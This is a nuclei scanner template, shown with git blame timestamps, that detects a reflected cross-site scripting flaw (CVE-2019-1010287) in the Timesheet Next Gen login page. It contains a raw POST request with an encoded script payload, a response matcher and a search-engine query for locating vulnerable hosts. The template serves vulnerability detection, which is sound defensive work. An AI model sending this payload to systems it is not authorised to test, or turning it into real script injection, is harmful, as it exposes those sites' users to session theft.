nuclei-templates/http/cves/2019/CVE-2019-1010287.yaml

51 lines
2.2 KiB
YAML
Raw Normal View History

2021-01-02 04:59:06 +00:00
id: CVE-2019-1010287
2020-09-04 10:01:06 +00:00
info:
name: Timesheet Next Gen <=1.5.3 - Cross-Site Scripting
2020-09-04 10:01:06 +00:00
author: pikpikcu
severity: medium
description: 'Timesheet Next Gen 1.5.3 and earlier is vulnerable to cross-site scripting that allows an attacker to execute arbitrary HTML and JavaScript code via a "redirect" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.'
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
2023-09-06 12:53:28 +00:00
remediation: |
Upgrade to a patched version of Timesheet Next Gen (1.5.4 or above) that properly sanitizes user input to prevent XSS attacks.
reference:
- http://www.mdh-tz.info/
- https://sourceforge.net/p/tsheetx/discussion/779083/thread/7fcb52f696/
- https://sourceforge.net/p/tsheetx/code/497/tree/branches/legacy/login.php#l40
- https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-1010287
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00129
epss-percentile: 0.47354
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:timesheet_next_gen_project:timesheet_next_gen:*:*:*:*:*:*:*:*
2021-09-16 15:54:33 +00:00
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: timesheet_next_gen_project
product: timesheet_next_gen
2023-09-06 12:53:28 +00:00
google-query: inurl:"/timesheet/login.php"
2023-12-05 09:50:33 +00:00
tags: cve,cve2019,timesheet,xss,timesheet_next_gen_project
2020-09-04 10:01:06 +00:00
http:
2021-09-16 15:54:33 +00:00
- raw:
2020-09-04 10:01:06 +00:00
- |
POST /timesheet/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2020-09-04 10:01:06 +00:00
words:
- '><script>javascript:alert(document.domain)</script>'
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4b0a00483046022100b442dd8d93a4b21f277e180250b8283046f33010578fab0d4bc05ec8683c04190221009572102fcef01515e7d6bd2e027760394d694feef27268d303bc7feaa1177fd6:922c64590222798bb761d5b6d8e72950